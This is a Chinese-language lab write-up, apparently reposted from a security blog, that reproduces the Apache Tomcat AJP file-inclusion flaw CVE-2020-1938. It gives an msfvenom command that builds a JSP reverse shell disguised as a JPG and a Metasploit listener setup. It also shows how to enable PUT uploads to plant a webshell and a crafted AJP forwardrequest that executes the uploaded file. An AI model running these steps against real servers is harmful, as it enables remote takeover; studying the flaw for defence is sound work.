tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现
生活随笔
收集整理的這篇文章主要介紹了
tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
一、漏洞背景2020年02月20日,國(guó)家信息安全漏洞共享平臺(tái)(CNVD)發(fā)布了關(guān)于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告。Tomcat作為一款免費(fèi)開(kāi)源輕量級(jí)的web應(yīng)用服務(wù)器,廣泛應(yīng)用于并發(fā)量不是很高的場(chǎng)合,Tomact默認(rèn)端口8080用于處理http請(qǐng)求,Tomcat會(huì)監(jiān)聽(tīng)AJP連接器的8009端口,用于與其他Web服務(wù)器通過(guò)AJP協(xié)議進(jìn)行交互,由于Tomcat AJP協(xié)議存在設(shè)計(jì)缺陷,攻擊者可構(gòu)造特定的payload讀取服務(wù)器WEB目錄下的任意文件以及可以包含任意文件,若存在上傳點(diǎn),可以獲取shell,進(jìn)一步進(jìn)行遠(yuǎn)程代碼執(zhí)行。二、影響版本Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31三、漏洞復(fù)現(xiàn)這里為了更加直觀方便的復(fù)現(xiàn)CVE-2020-1938,采用WindowsServer + Apache Tomcat 8.5.19環(huán)境。1、搭建環(huán)境首先上官網(wǎng)下載Apache Tomcat 8.5.19,當(dāng)然別忘了JAVA。https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/下載完直接放在服務(wù)器任意文件夾,在bin目錄開(kāi)啟Tomcat,其實(shí)瀏覽器打開(kāi)默認(rèn)端口8080就行,看到熟悉的Tomcat界面說(shuō)明那就是OK的。2、msf生成反彈木馬用msf生成一個(gè)jsp反彈木馬。這里為了更方便接近生產(chǎn)環(huán)境我們直接生成一個(gè)圖片馬兒。msfvenom?-p?java/jsp_shell_reverse_tcp?LHOST=本機(jī)IP?LPORT=監(jiān)聽(tīng)端口?R?>muma.jpgOK,已經(jīng)生成了一個(gè)文件名為muma.jpg的圖片木馬。接下來(lái)我們利用一下metasploit中的exploit/multi/handler后門模塊進(jìn)行攻擊。監(jiān)聽(tīng)use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本機(jī)IPset lport 監(jiān)聽(tīng)端口3、任意文件上傳這里我們順便就用Apache Tomcat 8.5.19來(lái)做一個(gè)任意文件上傳漏洞的復(fù)現(xiàn),在服務(wù)器上修改配置文件/conf/web.xml,允許tomcat用PUT方式提交,使其產(chǎn)生一個(gè)任意文件上傳的漏洞,不多說(shuō),自行腦補(bǔ)CVE-2017-12615。修改tomcat配置文件/conf/web.xml,添加readonly參數(shù),屬性改為false。抓取tomcat頁(yè)面數(shù)據(jù)包,修改提交方式為PUT,構(gòu)造payload,上傳webshell訪問(wèn)一下這個(gè)webshell就可以遠(yuǎn)程執(zhí)行任意命令了,當(dāng)然,如果權(quán)限不足的話還得提權(quán),這里就不做演示了。4、反彈shell回到正題(接第2篇)假設(shè)說(shuō)某個(gè)運(yùn)行在該版本tomcat上的業(yè)務(wù)有個(gè)上傳點(diǎn),我們?cè)谏蟼髂夸泆pload上傳了我們剛才生成的反彈圖片馬。下載一個(gè)AJP包構(gòu)造器ajpfuzzer_v0.6.jarURL:https://github.com/doyensec/ajpfuzzer/releases運(yùn)行java -jarajpfuzzer_v0.6.jar執(zhí)行connect 目標(biāo)ip 8009連接目標(biāo)端口java -jar ajpfuzzer_v0.6.jarconnect 目標(biāo)IP 8009執(zhí)行下面命令構(gòu)造并發(fā)送AJP包,其中/upload/muma.jpg為上傳的木馬路徑,其中ma.jsp可以換為任意該web項(xiàng)目中沒(méi)有的jsp文件,這樣tomcat才會(huì)去調(diào)用DefaultServlet.forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"請(qǐng)求發(fā)送成功后,ma.jpg被當(dāng)做jsp解析,成功拿到shell5、Tomcat Ajp協(xié)議文件讀取漏洞用大佬寫的EXP直接任意文件讀取https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
KillBoy安全實(shí)驗(yàn)室回歸技術(shù)本質(zhì),引領(lǐng)實(shí)戰(zhàn)潮流
KillBoy安全實(shí)驗(yàn)室回歸技術(shù)本質(zhì),引領(lǐng)實(shí)戰(zhàn)潮流
總結(jié)
以上是生活随笔為你收集整理的tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 光的散射现象举例有哪些
- 下一篇: 如虎似狼是什么意思